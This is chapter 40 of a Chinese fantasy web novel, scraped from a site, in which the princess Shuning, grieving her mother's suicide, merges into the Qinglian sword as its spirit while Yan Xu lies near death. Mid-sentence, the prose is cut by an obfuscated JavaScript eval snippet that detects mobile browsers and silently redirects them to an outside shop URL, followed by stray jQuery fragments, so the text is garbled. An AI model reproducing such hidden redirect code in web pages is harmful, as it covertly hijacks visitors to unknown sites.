文趣网 > 其他小说 > 废柴也要去捉妖吗 > 40. 青莲剑灵
    厢房内,药气浓得化不开。

    燕栩躺在床上,面色苍白,嘴唇干裂起皮,呼吸微弱得几乎看不清胸口起伏。

    他的衣袍已经换了干净的,但纱布从手腕缠到肩头,还隐隐渗着淡绿色的药渍。

    唐逸坐在床边,掌心按在燕栩腕上,灵力化作细流源源不断地渡入他体内。

    他面容疲惫,眼下一片青黑,一遍一遍地将药力化作灵力输入燕栩心口。

    燕观霜坐在另一侧,指尖攥着袖口。

    她的目光一直落在燕栩脸上:“怎么样了?”

    唐逸收回手,灵力撤出时指尖微微颤了一下:“经脉是稳住了,外伤也已处理过。我给他服了唐家的九转护心丹,保住了心脉,但……”

    他看向燕栩,眼里全是自责:“他伤得太重了。外伤内伤都有,灵脉也碎了七七八八。药力能续住他的命,但能不能醒,什么时候醒,要看他自己。”

    唐逸几乎把自己毕生所学全用上了,唐家的各种高品灵丹全用了,才缓缓吊住其一口气。

    若不是自己莽撞,燕栩也不会落到如此地步,唐逸恨不得如今躺在床上上伤痕累累的是他。

    燕观霜攥着袖口的手指紧了紧,目光落在燕栩那张毫无血色的脸上,沉默了好一会儿。

    然后她开口,声音很轻带着冷:“唐逸,若是我要杀淑宁,你会阻挠吗?”

    唐逸没有立刻回答。

    他看着自己的手指,思忖片刻,然后他说:“她做了那么多事,害了那么多无辜的人,还害得我最好的朋友生死未卜。”

    他抬起头,目光平静:“不必师姐你说,我也会出手。”

    话音刚落,门被推开了。

    褚岁站在门口,日光从她身后涌进来,将她的影子拉得很长。

    她没有停顿,径直走到床前,在燕栩身侧蹲下。

    她伸出手,指尖落在他的脸颊上,很轻,像怕碰碎了什么。

    褚岁的手指不敢用力,只是沿着他下颌的弧线滑下去,停在他耳侧。

    燕栩的皮肤是凉的,呼吸扫过她指腹,淡得像一阵风。

    “他还是没醒吗?”她的声音有些哑。

    唐逸摇了摇头。

    褚岁收回手,站起身,目光从燕栩脸上移开,望向窗外揽月阁的方向。

    或许带着对燕栩重伤的恨,又或者覆盖着神女记忆的威压,她道:“揽月阁,我们是要走一趟了。结束这一切。”

    -

    揽月阁今日出奇地安静。院子里的花落了大半,风一吹就簌簌地飘。

    正厅的门敞着,淑宁穿着一件浅粉色的衣裙,头发扎成两个圆滚滚的丸子头,发间簪着唐逸送她的白玉梨花簪。

    她端坐在主位上,手边放着一盏茶,像是等了很久。

    淑宁看见唐逸走进来的那一瞬,眼睛亮了一下,像从前一样,儿时那般。

    她站起身,拎着裙角跑过来,拉住了唐逸的手腕:“逸哥哥!你回来啦!你看,我戴着你送的发簪,好看吗?”

    唐逸看着淑宁俏皮的模样,竟有几分恍惚,但他很快就把手抽了回来,动作很重,几乎是甩开。

    那根白玉簪从淑宁的发间滑落,掉在地上,簪头磕在青砖上,碎成两截。

    淑宁低下头,看着地上那两截碎掉的簪子,看了很久。

    她弯腰想捡,手伸到一半又停住了。

    她抬起头,眼眶已经红了:“连你也这样对我。”

    淑宁看着唐逸,看着那双曾经会笑着给她编花环的眼睛,声音开始发颤:“你们知道我为什么要同那妖兽一起吗?你们根本不知道我身上发生了什么!”

    她往后退了一步,像是在给自己腾出空间。

    “我小时候生了一场大病,没有感觉,没有知觉,有时候连自己是谁都分不清。”

    “我站在那里,身体像透明的一样,像一缕随时会散掉的魂魄。所有人都说我是怪物,连宫女都绕着走。”

    平日那个活泼俏皮的公主终于卸下了伪装,歇斯底里地控诉这些年自己的一切。

    “后来我被送到唐家,是你们救了我。我以为我终于可以变回一个正常人了。”

    “可我回来的时候,我娘已经被打入了冷宫,他们告诉我她死了。我被养在皇后膝下,可那算什么养?”

    “太子拿我当马骑,那些宫女当着我的面嘲笑我,我连一块像样的点心都吃不着。”

    淑宁深吸了一口气:“我原以为父皇是护着我的。他送我那件红衣裙的时候,我好高兴,我以为他真的要疼我了。”

    “可第二天,他就跟我说,北戎的王子要来了,让我好好准备嫁过去。”

    她的声音开始发抖:“凭什么?凭什么太子可以要什么有什么?凭什么那些欺辱我的人可以安然无恙地活着?凭什么我就要乖乖去联姻?”

    淑宁的声音陡然拔高,尾音又猛地落下来,眼睛已经噙满泪水,却还是瞪着不让其流下。

    唐逸看着她,握紧了青莲剑:“可那些死去的宫女、被你献祭给玄蛇的嫔妃,她们做错了什么?淑宁,这不是你滥杀无辜的理由。”

    “滥杀无辜?”淑宁笑了一下,“我杀的都是欺负过我的人。顶撞我的宫女、克扣我月例的管事、那些背地里说我闲话的妃嫔。”

    她的声音沉了下来:“他们哪一个无辜?”

    唐逸没有让步:“她们罪不至死。你走到了这一步,已经回不了头了。”

    淑宁看着他,看着他手中那柄青莲剑,目光在那片薄如竹叶的剑身上停了一瞬,又移开了:“那你现在要杀了我吗?”

    唐逸没有说话,他握着剑的手微微颤抖,他恨自己的优柔寡断。

    儿时的情谊深埋心间,如今眼前之人已判若两人,他却始终没有迈出那一步。

    褚岁往前迈了一步:“我们已经将情况上报陛下了。你做的事,陛下自会决断。”

    淑宁偏过头看了她一眼,又看了看唐逸,正要开口说什么。

    门口忽然传来一阵凌乱的脚步声。

    张嬷嬷跌跌撞撞地跑进来,衣袍上沾着灰,像是刚从什么地方跑过来的。

    她扑在门框上,声音又尖又哑:“公主!刘嫔主子她……她自缢了!”

    淑宁的瞳孔猛地缩了一下,情绪突然剧烈不波动起来:“你说什么?”

    张嬷嬷瘫坐在地上,声音断断续续的:“刘嫔主子留下了一封信,说,说她替公主揽下了所有的罪责……她说那些事都是她指使的,与公主无关……然后她就……”

    她的声音哽住了,捂着脸哭了起来:“她说她这辈子没能好好护着你,至少死的时候能替你挡一回……”

    淑宁站在原地,像被抽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713629|203990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    干了所有的力气,陛下不疼自己,冷宫的生母刘嫔是她对亲情最后的念想。

    她曾远远地站在窗外瞧过刘嫔,苍老的妇人,一遍又一遍叠着自己穿过的小衣,

    淑宁发誓,如若有一天她独揽大权,定将母后风光迎出,然后踩在这些欺辱过自己的人尸身上。

    可,什么都没有了,玄蛇死了,母后死了,淑宁什么都没有了。

    她的身体一寸一寸地软了下去,膝盖碰在地面上,发出一声沉闷的响。

    她张着嘴,喉间发出一种极轻的声音:“母妃……”

    淑宁方才还想哭,此刻却如同丢了神,只是呆愣地坐在地上,在巨大的悲痛袭来之时,身体为苦痛开启防御机制,剩下的只有麻木。

    而后她抬眼,目光落在唐逸手中那柄青莲剑上,像是终于下定了什么决心。

    淑宁撑着地面站起来,身形不稳,发间的碎发垂落在脸颊两侧。

    没有半分犹豫,只带着赴死的决心,淑宁整个人朝那片薄如竹叶的剑刃迎了上去。

    “淑宁——!”唐逸想收剑,但已经来不及了。

    她的身体在触到剑刃的瞬间化作一片青光,沿着剑脊蔓延开来,像一道溪流汇入了河。

    片刻之间,她整个人融进了剑身里,什么都没有留下。

    唐逸握着那柄剑,剑身在他掌心里轻轻颤了一下。

    “这是怎么回事?”

    褚听澜走过来,目光落在那柄正在泛着微光的剑身上,声音沉了几分:“剑灵?”

    唐逸低头看着手中的青莲剑,剑身上多了一道细长的青色纹路,从剑柄一直延伸至剑尖,像新生的叶脉,又像一道还未来得及愈合的痕迹。

    他抬头看了看褚听澜,又看了看燕观霜:“淑宁……怎么会是青莲剑的剑灵?”

    燕观霜走上前,目光在那道青色纹路上停了一瞬:“青莲剑的剑灵早已不在了,当年你父亲接剑时便只剩剑身,剑灵不知所踪。”

    “我曾在一本旧札上看过,剑灵若与剑身分离太久,灵识会自行投胎入轮回,一世又一世,直到重新与剑相遇。”

    她看着唐逸:“这一世,她便是淑宁。”

    唐逸攥紧了剑柄,那剑柄是凉的,但他能感觉到剑脊深处传来一阵极微弱的跳动。

    因是剑灵,所以淑宁被当成怪物,最终魂归青莲,一切都有了闭环。

    褚听澜望着唐逸:“成为剑灵,若想要渡化她,今后你得用这把剑做该做的事。也算替无辜的人积福了。”

    唐逸盯着青莲,点了点头。

    一切似乎都有了最好的结局,玄蛇死了,地下宫殿塌了,皇宫保住了,淑宁化作了青莲剑的剑灵。

    可褚岁靠在门边,低着头,闷闷不乐,她心里还挂念着昏迷不醒的燕栩。

    那句“我心悦她”沉甸甸地躺在她胸口,她还没问清楚……

    忽然,云渺渺小脸煞白,手里还攥着那面青铜罗盘,盘面上的灵石正在剧烈地闪烁着。

    她惊慌道:“不好了!我在燕栩身侧布了阵,方才忽然感觉到一阵剧烈的灵力波动,他经脉乱窜,怕是凶多吉少……”

    她的话还没说完,褚岁已经冲进了启祥宫。

    她猛地推开门,厢房里空无一人,床铺上的被褥还留着一个人躺过的凹陷。

    但燕栩,不见了。